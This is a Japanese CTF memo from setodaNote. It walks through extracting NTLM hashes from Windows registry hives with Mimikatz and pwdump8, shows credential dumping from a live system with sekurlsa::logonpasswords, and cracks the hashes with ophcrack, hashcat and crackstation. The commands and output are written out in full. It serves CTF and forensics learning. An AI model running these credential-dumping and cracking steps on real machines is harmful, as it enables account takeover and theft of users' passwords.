SAM、SYSTEM、SECURITY ファイルからパスワードを解析する
setodanoteCTF の問題、レジストリハイブファイルから NTLM ハッシュを取得しパスワードを解析する方法についてメモします。
1.NTLM ハッシュを取得する
NTLM ハッシュを取得する方法をいくつか説明します。
レジストリハイブの SAM、SYSTEM ファイルから Mimikatz を使用して取得する
- コマンドプロンプトを管理者権限で起動します。
- Mimikatz.exe を実行します。
c:\Users\User\Desktop\a\mimikatz_trunk\x64>mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz #
- デバッガーモードに切り替えて、より多くの特権と高いアクセス レベルを取得します。
mimikatz # privilege::debug Privilege '20' OK mimikatz #
- ハイブファイルから NTLM ハッシュを取得します。
SystemBkup.hiv と SamBkup.hiv の部分は任意のファイルパスを指定します。
例では Gentil Kiwi ユーザの NTLM ハッシュが cc36cf7a8514893efccd332446158b1a という事が分かります。
mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv Domain : VM-W7-ULT-X SysKey : 74c159e4408119a0ba39a7872e9d9a56 SAMKey : e44dd440fd77ebfe800edf60c11d4abd RID : 000001f4 (500) User : Administrateur LM : NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 RID : 000001f5 (501) User : Invité LM : NTLM : RID : 000003e8 (1000) User : Gentil Kiwi LM : NTLM : cc36cf7a8514893efccd332446158b1a mimikatz #
レジストリハイブの SAM、SYSTEM、SECURITY ファイルから PwDump を使用して取得する
c:\Users\User\Desktop>pwdump8.exe -f c:\Users\User\Desktop\SYSTEM c:\Users\User\Desktop\SAM c:\Users\User\Desktop\SECURITY PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 DefaultAccount:503:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 WDAGUtilityAccount:504:AAD3B435B51404EEAAD3B435B51404EE:27C3A146AA209B2120F7ECC9DB065540 test:1002:AAD3B435B51404EEAAD3B435B51404EE:3C99B8901B00758369F18B9DF72012C8 c:\Users\User\Desktop\a\pwdump8-8.2\pwdump8>
(おまけ)OS内に保存された認証情報を Mimikatz を使用して搾取する
- コマンドプロンプトを管理者権限で起動します。
- Mimikatz.exe を実行します。
c:\Users\User\Desktop\a\mimikatz_trunk\x64>mimikatz.exe
- デバッガーモードに切り替えて、より多くの特権と高いアクセス レベルを取得します。
mimikatz # privilege::debug
- OS から NTLM ハッシュを取得します。
mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 88038 (00000000:000157e6) Session : Interactive from 1 User Name : Gentil Kiwi Domain : vm-w7-ult SID : S-1-5-21-2044528444-627255920-3055224092-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult * Password : waza1234/ wdigest : * Username : Gentil Kiwi * Domain : vm-w7-ult * Password : waza1234/ kerberos : * Username : Gentil Kiwi * Domain : vm-w7-ult * Password : waza1234/ ssp : [00000000] * Username : admin * Domain : nas * Password : anotherpassword credman : [00000000] * Username : nas\admin * Domain : nas.chocolate.local * Password : anotherpassword
2.NTLM ハッシュからパスワードをクラックする
パスワードハッシュを取得する方法をいくつか説明します。
ophcrack を使用してクラックする
- ophcrack を起動します。
※イメージはクラック済みです。 - メニュー [Load] - [Single hash] を選択し、NTLM ハッシュをセットします。
- メニュー [tables] を選択し、レインボーテーブルをインストールします。
- メニュー [crack] を選択してクラックします。
hashcat を使用してクラックする
- NTLM ハッシュをテキストに保存します。
- インターネットからパスワードリストを探します。
パスワードリストとはパスワードを羅列したテキストファイルです。 - パスワードリストを使用してクラックします。
※ハードウェアの条件が合わず実行でなかったので結果は未確認です。
C:\Users\User\Desktop>hashcat.exe -m 1000 -a 0 c:\Users\User\Desktop\hash.txt c:\Users\User\Desktop\realhuman_phill.txt
パスワードクラックサイトで検索する
- crackstation で NTLM ハッシュを検索します。
感謝
setodaNote CTF Writeup (Forensics) - Tahoo!!
setodaNote CTF Writeup - fatsheep's memo.txt
setodaNote CTF Writeup - よもぎのメモ帳
setodaNote CTF
Ophcrack